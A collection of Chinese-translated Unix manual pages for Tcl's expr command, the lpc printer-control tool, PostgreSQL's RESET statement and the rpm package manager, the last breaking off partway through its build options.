the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH expr 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME expr \- 求一个表达式的值 .SH "总览 SYNOPSIS" \fBexpr \fIarg \fR?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 连接(concatenate)所有 \fIarg\fR (在它们中间添加分隔符空格),把结果作为一个Tcl 表示式来求值(evaluate)并返回结果。在 Tcl 表达式中允许的操作符式在 C 表达式中允许的操作符的一个子集,并且它们与相应的 C 操作符有相同意义和优先级。表达式几乎总是产生一个数值结果(整数或浮点数的值)。例如,表达式 .CS \fBexpr 8.2 + 6\fR .CE 求值出 14.2. Tcl 表达式与 C 表达式在操作数指定的方式上有区别。还有,Tcl 表达式支持非数值操作符和字符串比较。 .SH "操作数 OPERANDS" .PP 一个 Tcl 表达式由操作符、操作数和括号的组合构成。在操作符、操作数和括号之间可使用白空格;它被表达式的指令所忽略。指定整数值可以使用十进制(通常的情况)、八进制(如果操作数的第一个字符是 \fB0\fR)、或十六进制(如果操作数的前两个字符是 \fB0x\fR)。如果一个操作数没有上述的整数格式,则如果可能的话把它作为浮点数对待。指定浮点数可以使用任何遵从 ANSI 的 C 编译器可接受方式(除了在多数安装(installation)中不允许 \fBf\fR、\fBF\fR、\fBl\fR\fB \fR和 \fBL\fR 后缀)。例如,下列的数都是有效的浮点数: 2.1、3.、6e4、7.91e+16。如果没有可能的数值解释,则一个操作数被作为字符串来保留(并且对它只提供一组有限的操作符)。 .PP 可以用下列方式指定操作数: .IP [1] 为一个数值值,要么是整数要么是浮点数。 .IP [2] 作为一个 Tcl 变量,使用标准的 \fB$\fR 记号。变量的值将被用作操作数。 .IP [3] 作为用双引号包围起来的一个字符串。表达式分析器将在引号之间的信息上完成反斜杠、变量和命令替换,并把结果值用作操作数。 .IP [4] 作为用花括号包围起来的一个字符串。在左花括号和相匹配的右花括号之间的字符将被用作操作数而不做任何替换。 .IP [5] 作为一个用方括号包围起来的 Tcl 命令。命令将被执行并且它的结果将被用作操作数。 .IP [6] 作为一个数学函数,它的参数可以是操作数的任何上述形式,比如 \fBsin($x)\fR。参见下面的已定义的函数的一个列表。 .LP 在上述替换发生的地方(例如在被引用起来的字符串当中),他们由表达式的指令来完成。但是,在调用表达式处理器之前命令分析器可能已经完成了一个额外的替换层。如下面讨论的那样,通常最好把表达式包围在花括号中来防止命令分析器在这些内容上进行替换。 .PP 举一些简单的表达式的例子,假设变量\fBa\fR 的值是 3 并且变量 \fBb\fR 的值是 6。则下面的每行左边的命令将生成右边的值。 .CS .ta 6c \fBexpr 3.1 + $a 6.1 expr 2 + "$a.$b" 5.6 expr 4*[llength "6 2"] 8 expr {{word one} < "word $a"} 0\fR .CE .SH "操作符 OPERATORS" .PP 下面列出了有效的操作符,用优先级的降序分组: .TP 20 \fB\-\0\0+\0\0~\0\0!\fR 一元(Unary,也译为单目)减,一元加,位(bit-wise) NOT,逻辑 NOT。这些操作符不能提供给字符串操作数,并且位 NOT 只能提供给整数。 .TP 20 \fB*\0\0/\0\0%\fR 乘,除,求余。这些操作符不能提供给字符串操作数,并且求余只能提供给整数。余数将总是与除数有相同的符号并且绝对值小于除数。 .TP 20 \fB+\0\0\-\fR 加和减。对任何数值操作数均有效。 .TP 20 \fB<<\0\0>>\fR 左移和右移。只对整数操作数有效。一右移总是传播(propagate)符号位。 .TP 20 \fB<\0\0>\0\0<=\0\0>=\fR Boolean 小于,大于,小于等于,大于等于。如果条件是真则每个操作符产生 1,否则 0。这些操作符可以象提供给数值操作数一样提供给字符串,在这种情况下使用字符串比较。 .TP 20 \fB==\0\0!=\fR Boolean 等于和不等于。每个操作符产生一个零/一结果。对所有操作数类型有效。 .TP 20 \fB&\fR 位与。只对整数操作数有效。 .TP 20 \fB^\fR 位异或。只对整数操作数有效。 .TP 20 \fB|\fR 位或。只对整数操作数有效。 .TP 20 \fB&&\fR 逻辑与。如果两个操作数都是非零则生成一个 1,否则生成 0。只对 boolean 和数值(整数或浮点数)操作数有效。 .TP 20 \fB||\fR 逻辑或。如果两个操作数都是零则生成一个 0,否则生成 1。只对 boolean 和数值(整数或浮点数)操作数有效。 .TP 20 \fIx\fB?\fIy\fB:\fIz\fR If-then-else,如同 C 语言那样。如果 \fIx\fR 求值为非零,则结果是 \fIy\fR\fI \fR的值。否则结果是 \fIz \fR的值。\fIx\fR操作数必须是一个数值值。 .LP 参见 C 手册来得到对每个操作符的生成结果的更详细的描述。所有相同的优先级的二元操作符从左至右的组合(group)。例如,命令 .CS \fBexpr 4*2 < 7\fR .CE 返回 0. .PP \fB&&\fR, \fB||\fR, 和 \fB?:\fR 操作符“惰性求值”,如同 C 语言那样,这意味着如果操作数对确定结果不是必须的则不被求值。例如,命令 .CS \fBexpr {$v ? [a] : [b]}\fR .CE 中实际上只有 \fB[a]\fR 或 \fB[b]\fR中的一个将被求值,依赖于 \fB$v \fR的值。注意,这只在整个表达式被包围在花括号中时是真的;否则 Tcl 分析器将在调用 \fBexpr\fR 命令之前求值 \fB[a]\fR 和 \fB[b]\fR 二者。 .SH "数学函数 MATH FUNCTIONS" .PP Tcl 支持在表达式中的下列数学函数: .DS .ta 3c 6c 9c \fBabs\fR \fBcosh\fR \fBlog\fR \fBsqrt\fR \fBacos\fR \fBdouble\fR \fBlog10\fR \fBsrand\fR \fBasin\fR \fBexp\fR \fBpow\fR \fBtan\fR \fBatan\fR \fBfloor\fR \fBrand\fR \fBtanh\fR \fBatan2\fR \fBfmod\fR \fBround\fR \fBceil\fR \fBhypot\fR \fBsin\fR \fBcos\fR \fBint\fR \fBsinh\fR .DE .PP .TP \fBabs(\fIarg\fB)\fR 返回 \fIarg\fR 的绝对值。\fIArg\fR可以要么式整数要么是浮点数,并且结果以同样的形式返回。 .TP \fBacos(\fIarg\fB)\fR 返回 \fIarg \fR的反余弦,值域是 [0,pi] 弧度。\fIArg\fR的定义域是 [-1,1]。 .TP \fBasin(\fIarg\fB)\fR 返回 \fIarg \fR的反正弦,值域是 [-pi/2,pi/2] 弧度。\fIArg\fR 的定义域是 [-1,1]。 .TP \fBatan(\fIarg\fB)\fR 返回 \fIarg \fR的反正切,值域是 [-pi/2,pi/2] 弧度。 .TP \fBatan2(\fIx, y\fB)\fR 返回 \fIy\fR/\fIx\fR\fI \fR的反正切,值域是 [-pi,pi] 和,\fIx\fR 和 \fIy\fR 不能都是 0。 .TP \fBceil(\fIarg\fB)\fR 返回不小于 \fIarg \fR的最小的整数值。 .TP \fBcos(\fIarg\fB)\fR 返回 \fIarg \fR的余弦,单位是弧度。 .TP \fBcosh(\fIarg\fB)\fR 返回 \fIarg\fR 的双曲余弦,如果结果导致溢出,返回一个错误。 .TP \fBdouble(\fIarg\fB)\fR 如果 \fIarg\fR 是一个浮点值,返回 \fIarg\fR;否则把 \fIarg\fR 转换成浮点数并返回转换后的值。 .TP \fBexp(\fIarg\fB)\fR 返回 \fIarg\fR 的指数,定义为 e**\fIarg\fR。如果结果导致溢出,返回一个错误。 .TP \fBfloor(\fIarg\fB)\fR 返回不大于 \fIarg \fR的最大整数值。 .TP \fBfmod(\fIx, y\fB)\fR 返回 \fIx\fR 除以 \fIy\fR 得到的浮点余数。如果 \fIy\fR 是 0,返回一个错误。 .TP \fBhypot(\fIx, y\fB)\fR 计算一个直角三角形的斜边的长度(\fIx\fR*\fIx\fR+\fIy\fR*\fIy\fR)。 .TP \fBint(\fIarg\fB)\fR 如果 \fIarg\fR 是一个整数值,返回 \fIarg\fR,否则通过截取\fIarg\fR (的整数部分)来把它转换成整数并返回转换后的值。 .TP \fBlog(\fIarg\fB)\fR 返回 \fIarg \fR的自然对数。\fIArg\fR 必须是正数值。 .TP \fBlog10(\fIarg\fB)\fR 返回 \fIarg \fR的以10 为底的对数(常用对数)。\fIArg\fR必须是正数值。 .TP \fBpow(\fIx, y\fB)\fR 计算 \fIx\fR 的 \fIy\fR 次幂。如果 \fIx\fR 是负数,\fIy\fR 必须是一个整数值。 .TP \fBrand()\fR 返回一个大于等于零且小于 1 的一个(随机)浮点数,这个范围用数学术语是区间[0,1)。种子来自机器的内部时钟或用 srand 函数人为设定。 .TP \fBround(\fIarg\fB)\fR 如果 \fIarg\fR 是一个整数,返回 \fIarg\fR,否则通过四舍五入把 \fIarg\fR 转换成整数并返回转换后的值。 .TP \fBsin(\fIarg\fB)\fR 返回 \fIarg \fR的正弦,单位是弧度。 .TP \fBsinh(\fIarg\fB)\fR 返回 \fIarg\fR 的双曲正弦。如果结果导致溢出,返回一个错误。 .TP \fBsqrt(\fIarg\fB)\fR 返回 \fIarg\fR 的开方。\fIArg\fR 必须是非负数。 .TP \fBsrand(\fIarg\fB)\fR \fIarg\fR 必须是一个整数,它被用于重置随机数生成器的种子。返回用这个种子生成的第一个随机数。每个解释器都有它自己的种子。 .TP \fBtan(\fIarg\fB)\fR 返回 \fIarg\fR 的正切。单位是弧度。 .TP \fBtanh(\fIarg\fB)\fR 返回 \fIarg\fR 的双曲正切。 .PP 除了这些预定义的函数之外,应用可以使用 \fBTcl_CreateMathFunc \fR() 定义增补的函数。 .SH "类型 TYPES, 溢出 OVERFLOW, 和 精度 PRECISION" .PP 所有涉及整数的内部运算用 C 类型 \fIlong\fR\fI \fR处置。并且所有涉及浮点数的内部运算用 C 类型 \fIdouble\fR 处置。当把一个字符串转换成一个浮点数的时候,若检测到指数溢出则导致一个 Tcl 错误。对于从字符串转换成整数,溢出检测依赖于在本地 C 库中的一些例程的行为,所以它应被作为不可靠的来看待。在任何情况下,对中间结果通常不能可靠的检测整数的上溢和下溢。浮点数上溢和下溢的检测通常达到由硬件支持的程度,普遍非常可靠。 .PP 整数,浮点数、和字符串的内部表示之间的转换按需要自动完成。对于算术计算,在浮点数介入之前使用整数,此后使用浮点数。例如, .CS \fBexpr 5 / 4\fR .CE 返回 1,而 .CS \fBexpr 5 / 4.0\fR \fBexpr 5 / ( [string length "abcd"] + 0.0 )\fR .CE 都返回 1.25。 返回的浮点值总是带着一个“\fB.\fR”或一个 \fBe\fR 所以它们看起来不象整数值。例如, .CS \fBexpr 20.0/5.0\fR .CE 返回 \fB4.0\fR, 而不是 \fB4\fR. .SH "字符串操作 STRING OPERATIONS" .PP 字符串可被用做比较操作符的操作数,尽管表达式求值器尽可能的尝试着作为整数或浮点数来做比较。如果一个比较的操作数中的一个是字符串而其他是数值值,数值操作数被转换回字符串,对整数值使用 C \fIsprintf\fR 格式指定符 \fB%d\fR ,对浮点数值使用 \fB%g\fR。例如,命令 .CS \fBexpr {"0x03" > "2"}\fR \fBexpr {"0y" < "0x12"}\fR .CE 都返回 1。做第一个比较使用了整数比较,而做第二个比较在把第二个操作数转换成字符串 \fB18\fR之后使用了字符串比较。因为 Tcl 趋向于尽可能的把值作为数值对待,在你事实上想进行字符串比较并且操作符的值可以是任意的的时候使用象 \fB==\fR 这样的操作符通常不是个好主意;在这种情况下最好使用 \fBstring\fR命令。 .SH "性能的考虑 PERFORMANCE CONSIDERATIONS" .PP 要得到最快的速度和最小的存储需求,就要把表达式包围在花括号中。这允许 Tcl 字节码编译器生成最好的代码。 .PP 象上面所提及的那样,表达式被替换两次: 一次由 Tcl 解释器,一次由 \fBexpr\fR 命令。例如,命令 .CS \fBset a 3\fR \fBset b {$a + 2}\fR \fBexpr $b*4\fR .CE 返回 11,而不是 4 的倍数。这是因为 Tcl 分析器将首先把变量 \fBb\fR替换成 \fB$a + 2\fR,接着 \fBexpr\fR 命令将求值表达式 \fB$a + 2*4\fR。 .PP 多数表达式不需要两轮替换。要它们被包围在花括号中,要么它们的变量和命令替换生成数值或本身不需要替换的字符串。但是,因为一些未用化括号包围起来的表达式需要两轮替换,字节码编译器必须散布(emit)额外的指令来处理这些情况。对于未用化括号包围起来的表达式,代价最高昂的代码是包含命令替换的代码。必须通过在每次执行这个表达式时生成新的代码来实现这些表达式。 .SH "关键字 KEYWORDS" arithmetic, boolean, compare, expression, fuzzy comparison .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/22 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
lpc === 命令行方式打印机控制程序 ## 补充说明 **lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 ### 语法 ```shell lpc ``` ### 实例 ```shell [root@localhost ~]# lpc lpc> ? 命令可能是缩写。命令是: exit help quit status ? lpc> exit ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "RESET" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME RESET \- 把一个运行时参数值恢复为缺省值 .SH SYNOPSIS .sp .nf RESET \fIname\fR RESET ALL .sp .fi .SH "DESCRIPTION 描述" .PP \fBRESET\fR 将运行时参数恢复为缺省值。 RESET 是下面语句的一个变种 .sp .nf SET \fIparameter\fR TO DEFAULT .sp .fi 请参考 SET [\fBset\fR(7)] 命令令获取允许的变量值和缺省值的详细信息。 .PP 缺省值是定义成变量可以拥有的数值,并且在当前会话中没有用 SET 设置过。这个数值的实际源头可能是编译的缺省, postmaster 的配置文件,或者是命令行开关,或者是每数据库或每用户的缺省设置。 参阅 Section 16.4``Run-time Configuration'' 获取细节。 .PP 参阅 \fBSET\fR 手册页获取有关RESET 的事务行为的细节。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 请参考 SET [\fBset\fR(7)] 语句获取有关可用的参数的详细说明。 .TP \fBALL\fR 把所有运行时参数设置为缺省值。 .SH "EXAMPLES 例子" .PP 把 datestyle 重新设为缺省值: .sp .nf RESET datestyle; .sp .fi .PP 把 geqo 重新设为缺省值: .sp .nf RESET geqo; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBRESET\fR 是 PostgreSQL 扩展。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
.\" rpm - Red Hat Package Manager .TH "rpm" "8" "2002年6月9日" "Red Hat, Inc." .SH 名称 rpm \- RPM 软件包管理器 .SH 总览 .SS "查询和验证软件包:" .PP \fBrpm\fR {\fB-q|--query\fR} [\fBselect-options\fR] [\fBquery-options\fR] \fBrpm\fR \fB--querytags\fR \fBrpm\fR {\fB-V|--verify\fR} [\fBselect-options\fR] [\fBverify-options\fR] .SS "安装、升级和卸载软件包:" .PP \fBrpm\fR {\fB-i|--install\fR} [\fBinstall-options\fR] \fB\fIPACKAGE_FILE\fB\fR\fI ...\fR \fBrpm\fR {\fB-U|--upgrade\fR} [\fBinstall-options\fR] \fB\fIPACKAGE_FILE\fB\fR\fI ...\fR \fBrpm\fR {\fB-F|--freshen\fR} [\fBinstall-options\fR] \fB\fIPACKAGE_FILE\fB\fR\fI ...\fR \fBrpm\fR {\fB--reinstall\fR} [\fBinstall-options\fR] \fB\fIPACKAGE_FILE\fB\fR\fI ...\fR \fBrpm\fR {\fB-e|--erase\fR} [\fB--allmatches\fR] [\fB--nodeps\fR] [\fB--noscripts\fR] [\fB--notriggers\fR] [\fB--test\fR] \fB\fIPACKAGE_NAME\fB\fR\fI\ ...\fR .SS "杂项:" .PP \fBrpm\fR \fB--showrc\fR \fBrpm\fR \fB--setperms\fR \fB\fIPACKAGE_NAME\fB\fR\fI ...\fR \fBrpm\fR \fB--setugids\fR \fB\fIPACKAGE_NAME\fB\fR\fI ...\fR .SS "选择相关选项" .PP [\fB\fIPACKAGE_NAME\fB\fR] [\fB-a,--all\fR] [\fB-f,--file \fIFILE\fB\fR] [\fB-g,--group \fIGROUP\fB\fR] {\fB-p,--package \fIPACKAGE_FILE\fB\fR] [\fB--hdrid \fISHA1\fB\fR] [\fB--pkgid \fIMD5\fB\fR] [\fB--tid \fITID\fB\fR] [\fB--querybynumber \fIHDRNUM\fB\fR] [\fB--triggeredby \fIPACKAGE_NAME\fB\fR] [\fB--whatprovides \fICAPABILITY\fB\fR] [\fB--whatrequires \fICAPABILITY\fB\fR] .SS "查询相关选项" .PP [\fB--changelog\fR] [\fB-c,--configfiles\fR] [\fB--conflicts\fR] [\fB-d,--docfiles\fR] [\fB--dump\fR] [\fB--filesbypkg\fR] [\fB-i,--info\fR] [\fB--last\fR] [\fB-l,--list\fR] [\fB--obsoletes\fR] [\fB--provides\fR] [\fB--qf,--queryformat \fIQUERYFMT\fB\fR] [\fB-R,--requires\fR] [\fB--scripts\fR] [\fB-s,--state\fR] [\fB--triggers,--triggerscripts\fR] .SS "验证相关选项" .PP [\fB--nodeps\fR] [\fB--nofiles\fR] [\fB--noscripts\fR] [\fB--nodigest\fR] [\fB--nosignature\fR] [\fB--nolinkto\fR] [\fB--nofiledigest\fR] [\fB--nosize\fR] [\fB--nouser\fR] [\fB--nogroup\fR] [\fB--nomtime\fR] [\fB--nomode\fR] [\fB--nordev\fR] [\fB--nocaps\fR] .SS "安装相关选项" .PP [\fB--allfiles\fR] [\fB--badreloc\fR] [\fB--excludepath \fIOLDPATH\fB\fR] [\fB--excludedocs\fR] [\fB--force\fR] [\fB-h,--hash\fR] [\fB--ignoresize\fR] [\fB--ignorearch\fR] [\fB--ignoreos\fR] [\fB--includedocs\fR] [\fB--justdb\fR] [\fB--nocollections\fR] [\fB--nodeps\fR] [\fB--nodigest\fR] [\fB--nosignature\fR] [\fB--noorder\fR] [\fB--noscripts\fR] [\fB--notriggers\fR] [\fB--oldpackage\fR] [\fB--percent\fR] [\fB--prefix \fINEWPATH\fB\fR] [\fB--relocate \fIOLDPATH\fB=\fINEWPATH\fB\fR] [\fB--replacefiles\fR] [\fB--replacepkgs\fR] [\fB--test\fR] .SH 描述 .PP \fBrpm\fP是一个强大的的\fI包管理器\fP,可以用于构建、安装、查询、核实、 更新以及卸载单个软件包。 一个\fI软件包\fP通常包括一个文件档以及关于包的用于安装和卸载的元信息, 包括帮助脚本、文件属性和软件包的描述性信息。 .PP 必须选取下列基本模式中一个: \fI初始化数据库\fP, \fI重新生成数据库\fP, \fI生成包\fP, \fI重新编译包\fP, \fI从Tar包生成RPM包\fP, \fI查询\fP, \fI显示查询标签\fP, \fI安装\fP, \fI更新\fP, \fI卸载\fP, \fI核实\fP, \fI签名检查\fP, \fI再签名\fP, \fI添加签名\fP, \fI设置所有者和组\fR 以及 \fI显示配置\fP. .SH 通用选项 这些选项可以各种不同的方式使用. .IP "\fB\-vv\fP" 将打印出许多难以阅读的调试信息. .IP "\fB\-\-quiet\fP" 打印尽可能少的信息 \- 普通只展示错误信息. .IP "\fB\-\-help\fP" 给出比常规更多的用法信息. .IP "\fB\-\-version\fP" 在单独一个行里给出所用 \fBrpm\fP 的版本号 .IP "\fB\-\-rcfile \fI<filelist>\fP" 在\fI<filelist>\fP里列出了一些文件, 各文件之间以冒号分隔, \fBrpm\fP 顺序读取这些文件以获得配置信息. \fI<filelist>\fP缺省 是\fB/usr/lib/rpm/rpmrc:/etc/rpmrc:~/.rpmrc\fP. 列表中的第一个文件(/usr/lib/rpm/rpmrc)且只有这个文件 必须存在, 代字符~指向\fB$HOME\fP的值. .IP "\fB\-\-root \fI<dir>\fP" 对所有操作均将\fI<dir>\fP视为系统根目录. 注意这意味着对数 据库的读或修改操作都将是在\fI<dir>\fP目录下进行, 并且脚本 的\fIpre\fP或\fIpost\fP操作都是在做了以\fI<dir>\fP为根目录的chroot() 之后进行. .IP "\fB\-\-dbpath \fI<path>\fP" 依照\fI<path>\fP使用RPM的数据库. .IP "\fB\-\-justdb\fP" 更新只针对数据库,而不是整个文件系统. .IP "\fB\-\-ftpproxy \fI<host>\fP, \fB\-\-httpproxy \fI<host>\fP" 设\fI<host>\fP为FTP或HTTP的代理服务器. 参阅\fBFTP/HTTP 选项\fP. .IP "\fB\-\-ftpport \fI<port>\fP, \fB\-\-httpport \fI<port>\fP" 设\fI<port>\fP为FTP或HTTP的代理服务器的端口. 参阅\fBFTP/HTTP 选项\fP. .IP "\fB\-\-pipe \fI<cmd>\fP" 通过管道将\fBrpm\fP的输出输入到命令\fI<cmd>\fP. .SH 安装和升级选项 通常的rpm安装命令如下: .PP \fBrpm \-i [install\-options] \fI<package_file>+\fP .PP 这样将安装一个新的包. 通常的rpm升级命令如下: .PP \fBrpm \-U [install\-options] \fI<package_file>+\fP .PP 这样将当前已安装的包升级或新安装到一个新的RPM版本. 升级和 安装是一样的, 区别在于升级要将所有别的版本的包从系统移去. .PP \fBrpm [\-F|--freshen] [install\-options] \fI<package_file>+\fP .PP 这样也升级包, 但只有在系统存在一个更早版本的包时候才使用这 种方式. 如果包在安装之前要先进行下载, \fI<package_file>\fP应该指明为一个 ftp或者http URL. 要得到关于RPM包生成的ftp和http支持的信息, 可以参阅\fBFTP/HTTP 选项\fP. .PP .IP "\fB\-\-force\fP" 与使用\fB\-\-replacepkgs\fP, \fB\-\-replacefiles\fP, 以及\fB\-\-oldpackage\fP效果相同 .IP "\fB\-h\fP, \fB\-\-hash\fP" 包档如果没有被解包, 打印50个破折号. 配合\fB\-v\fP使用可以 使得有更好的展示. .IP "\fB\-\-oldpackage\fP" 允许用旧版本的包取代较新的版本. .IP "\fB\-\-percent\fP" 给出文件从包档解包的百分比. 该项的作用是为了使rpm相 比于别的工具更容易使用. .IP "\fB\-\-replacefiles\fP" 即使要安装的包会取代别的已安装包的文件, 也安装该包. .IP "\fB\-\-replacepkgs\fP" 即使包的部分内容已安装在系统里,也安装该包. .IP "\fB\-\-allfiles\fP" 安装或升级包里所有的缺失文件,不管其是否存在. .IP "\fB\-\-nodeps\fP" 在安装或升级包之前不做依赖检查. .IP "\fB\-\-noscripts\fP" 不执行安装前或安装后脚本 .IP "\fB\-\-notriggers\fP" 不执行由该包的安装所激发的脚本 .IP "\fB\-\-ignoresize\fP" 安装该包前不检查mount文件系统是否有足够的磁盘空间. .IP "\fB\-\-excludepath \fI<path>\fP" 不安装文件名以路径\fI<path>\fP开头的文件. .IP "\fB\-\-excludedocs\fP" 不安装任何标记为文档的文件(包括手册页及文本信息档案). .IP "\fB\-\-includedocs\fP" 安装文档文件, 这是缺省的操作. .IP "\fB\-\-test\fP" 不安装包, 只是简单地检查并报告可能的冲突. .IP "\fB\-\-ignorearch\fP" 允许安装或升级其体系与主机不匹配的二进制RPM包. .IP "\fB\-\-ignoreos\fP" 允许安装或升级其操作系统与主机不匹配的二进制RPM包. .IP "\fB\-\-prefix \fI<path>\fP" 对于可浮动包, 这将把安装前缀设置到\fI<path>\fP. .IP "\fB\-\-relocate \fI<oldpath>\fB=\fI<newpath>\fP" 将文件从\fI<oldpath>\fP改置到\fI<newpath>\fP, 这使得可以浮动包. .IP "\fB\-\-badreloc\fP" 与\-\-relocate配合使用, 强制改置不可浮动的包. .IP "\fB\-\-noorder\fP" 安装时对包不重新排序, 正常在安装时应该重新排序包列 表, 以满足依赖性. .SH 查询选项 rpm的查询命令通常的格式如下: .PP \fBrpm \-q [query\-options]\fP .PP 可以制定包信息的打印格式, 这时要用\fB[\-\-queryformat|\-qf]\fP选项, 格式串跟在选项后面. 查询格式由标准\fBprintf(3)\fP格式的版本决定. 格式由静态字符串 (包括除了换行符, tab, 以及其它的特殊字符之外的标准C字符), 以及\fBprintf(3)\fP类型格式符. 如果\fBrpm\fP已经知道打印类型, 则类型说明就必须被忽略, 并且以要打印的头部tag的名字取代, 该名字被括在\fB{}\fP之间. 而且tag的\fBRPMTAG_\fP部分也被忽略. 可以用\fB:\fItypetag\fR来改变输出格式.当前支持的有如下类型:\fBoctal\fR, \fBdate\fR, \fBshescape\fR, \fBperms\fR, \fBfflags\fR, 以及 \fBdepflags\fR. 例如,要只打印被查询包的名字,可以用\fB%{名称}\fP作为格式字符串. 要在两个栏里打印包名及分布信息,可以用\fB%\-30{名称}%{分布}\fP. 当被\fB\-\-querytags\fP参数激发时,\fBrpm\fP将列出所有tags. 查询选项有两种子设置: 包选择和信息选择. 包选择选项: .br .IP "\fB\fI<package_name>\fP" 查询名为\fI<package_name>\fP的安装包. .IP "\fB\-a\fP, \fB\-\-all\fP" 查询所有安装的包. .IP "\fB\-\-whatrequires \fI<capability>\fP" 查询所有需要\fI<capability>\fP才能提供适当功能的包. .IP "\fB\-\-whatprovides \fI<virtual>\fP" 查询所有提供\fI<virtual>\fP功能的包. .IP "\fB\-f \fI<file>\fP, \fB\-\-file \fI<file>\fP" 查询拥有文件\fI<file>\fP的包. .IP "\fB\-g \fI<group>\fP, \fB\-\-group \fI<group>\fP" 查询属于???组\fI<group>\fP的包 .IP "\fB\-p \fI<package_file>\fP" 查询一个没有安装的包\fI<package_file>\fP. \fI<package_file>\fP可以被说明为ftp或http URL,这时包头会被下载并被查询. 要得到关于RPM生成的ftp和http客户端支持的信息,请参阅\fBFTP/HTTP OPTIONS\fP .IP "\fB\-\-specfile \fI<specfile>\fP" 像对待一个包一样Parse并查询\fI<specfile>\fP. 虽然不是所有的信息(例如文件列表)可用,这种查询类型 允许rpm在不用写一个specfile parser的情况下从spec files提取信息. .IP "\fB\-\-querybynumber \fI<num>\fP" 直接查询\fI<num>\fP数据库入口,该选项在调试时很有用处. .IP "\fB\-\-triggeredby \fI<pkg>\fP" 查询由包\fI<pkg>\fP所激发的包. .P 信息选择选项: .br .IP "\fB\-i\fP" 展示包信息,包括名字,版本,以及描述.??? .IP "\fB\-R\fP, \fB\-\-requires\fP" 列出该包所依赖的别的包. .IP "\fB\-\-provides\fP" 列出该包所提供的功能. .IP "\fB\-\-changelog\fP" 展示该包的变更信息. .IP "\fB\-l\fP, \fB\-\-list\fP" 列出该包的文件. .IP "\fB\-s\fP, \fB\-\-state\fP" 展示该包各文件的状态信息,因此该选项实际隐含了\fB\-l\fP选项. 文件状态可以是如下之一: \fInormal\fP, \fInot installed\fP, 或者 \fIreplaced\fP. .IP "\fB\-d\fP, \fB\-\-docfiles\fP" 只列出文档文件(隐含\fB\-l\fP选项). .IP "\fB\-c\fP, \fB\-\-configfiles\fP" 只列出配置文件(隐含\fB\-l\fP选项). .IP "\fB\-\-scripts\fP" 如果有的话,就列出该包里作为安装或卸载过程一部分的特殊shell脚本. .IP "\fB\-\-triggers\fP, \fB\-\-triggerscripts\fP" 如果有的话,展示该包包含的激发子脚本. .IP "\fB\-\-dump\fP" 如下的哑文件信息: path size mtime md5sum mode owner group isconfig isdoc rdev symlink. 该选项必须至少配合如下选项之一:\fB\-l\fP, \fB\-c\fP, \fB\-d\fP使用. .IP "\fB\-\-last\fP" 按包的安装时间进行排序,这使得最新的包在序列顶部. .IP "\fB\-\-querybypkg\fP" 列出每个包里的所有文件. .IP "\fB\-\-triggerscripts\fP" 显示所选包的所有激发子脚本. .SH 核实选项 .PP \fBrpm \-V|\-y|\-\-verify [verify\-options]\fP .PP 将所安装包的文件信息和源发包的文件信息以及在rpm数据库的文件信息做比较, 以此来核实包. 对于别的东西,则??? 任何的差异都会展示.包的说明选项与查询选项相同. 对于不是从包安装的文件,例如在安装的时候用"\fB\-\-excludedocs\fP" 选项排除了的文档文件,将在没有提示的情况下被忽略掉. 核实选项可以使用如下模式: .IP "\fB\-\-nofiles\fP" 核实时忽略缺失文件 .IP "\fB\-\-nomd5\fP" 核实时忽略MD5校验错误 .IP "\fB\-\-nopgp\fP" 核实时忽略PGP校验错误 .IP "\fB\-\-nofiles\fP" 核实时忽略缺失文件 输出的格式是一个八个字符的字符串,和一个可能有的"\fBc\fP", 指明后面是一个配置文件,以及后面的文件名. 八个字符中的每一个都代表着一个文件属性与保存在RPM的数据库中的属性纪录值的比较结果. 单个的"\fB.\fP"(句号)表明检查通过.下列字符代表特定检查的失败: .IP "\fB5\fP" MD5校验和 .IP "\fBS\fP" 文件大小 .IP "\fBL\fP" 符号连接 .IP "\fBT\fP" 修改时间 .IP "\fBD\fP" 设备 .IP "\fBU\fP" 用户 .IP "\fBG\fP" 组 .IP "\fBM\fP" 模式(包括许可和文件类型) .SH 签名检查 通常的rpm签名检查命令如下: .PP \fBrpm \-\-checksig \fI<package_file>+\fP .PP 这将检查包\fI<package_file>\fP的PGP签名以确保其完整性和源发性. 可以从配置文件读取PGP配置信息.细节请查阅 PGP 签名 部分. .SH 卸载选项 rpm卸载命令的通常格式如下: .PP \fB rpm \-e \fI<package_name>+\fP .PP .IP "\fB\-\-allmatches\fP" 将移去与\fI<package_name>\fR相匹配的所有版本的包.正常的话,如果\fI<package_name>\fR与多个包相匹配,就会给出错误信息. .IP "\fB\-\-noscripts\fP" 不执行安装前或安装后脚本. .IP "\fB\-\-notriggers\fP" 不执行由移去该包所激发的脚本 .IP "\fB\-\-nodeps\fP" 卸载前不检查依赖性 .IP "\fB\-\-test\fP" 不真正卸载任何东西,只是遍历该动作.配合\fB\-vv\fP选项会很有用处. .SH 生成选项 The general form of an rpm build command is .PP \fBrpm \-[b|t]\fIO\fP [build\-options] \fI<package_spec>+\fP .PP The argument used is \fB-b\fR if a spec file is being used to build the package and \fB-t\fR if \fBRPM\fR should look inside of a gzipped (or compressed) tar file for the spec file to use. After the first argument, the next argument (\fIO\fR) specifies the stages of building and packaging to be done and is one of: rpm通常的生成选项如下: .PP \fBrpm \-[b|t]\fIO\fP [build\-options] \fI<package_spec>+\fP .PP .IP "\fB\-bp\fP" Executes the "%prep" stage from the spec file. Normally this involves unpacking the sources and applying any patches. .IP "\fB\-bl\fP" Do a "list check". The "%files" section from the spec file is macro expanded, and checks are made to verify that each file exists. .IP "\fB\-bc\fP" Do the "%build" stage from the spec file (after doing the prep stage). This 